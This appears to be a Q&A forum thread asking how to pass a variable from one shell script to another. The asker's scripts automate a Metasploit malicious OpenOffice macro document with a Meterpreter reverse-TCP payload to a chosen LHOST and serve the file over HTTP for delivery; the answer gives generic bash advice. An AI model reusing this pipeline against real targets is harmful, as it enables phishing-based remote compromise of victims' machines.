0

I have written a bash script

Script1.sh

#!/bin/sh    
read -p "Enter name of the document file :" name    
read -p "Enter LHOST  :" lhost    
read -p "Enter LPORT  :" lport    
echo "use exploit/multi/misc/openoffice_document_macro    
set set payload windows/meterpreter/reverse_tcp_allports    
set FIlENAME $name.odt    
set LHOST $lhost    
set LPORT $lport    
exploit    
background    
exploit" > output.txt    
set ExitOnSession false    
gnome-terminal -e "./script2.sh"    
echo "Now Starting metasploit !"    
msfconsole -r open_office_macro.rc    

script2.sh

#!/bin/sh    
file=/root/.msf4/local/$name.odt    
if [ -f "$file" ]    
then    
        cp /root/.msf4/local/$name.odt /var/www/html    
        cd /var/www/html    
        python -m SimpleHTTPServer    
else    
        echo "$file not found."    

fi    

How can i pass the $name parameter from script1 to script2?

1
  • If you write for the bash shell, don't use a sh shebang line in your scripts! Commented Sep 21, 2018 at 8:25

1 Answer 1

0

There are two possibilities:

  1. Make it an exported variable (in which case I would recommend writing it all-uppercase, i.e. NAME). If you do this, it is placed in the environment of the child process.
  2. Pass it as an explicit parameter.

Example for 1:

# Use it as exported variable
export NAME
read -p .... NAME

Example for 2

# in script1:
read -p .... name
script2.sh $name

# Fetch it in script2:
name="${1?No name supplied}"

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.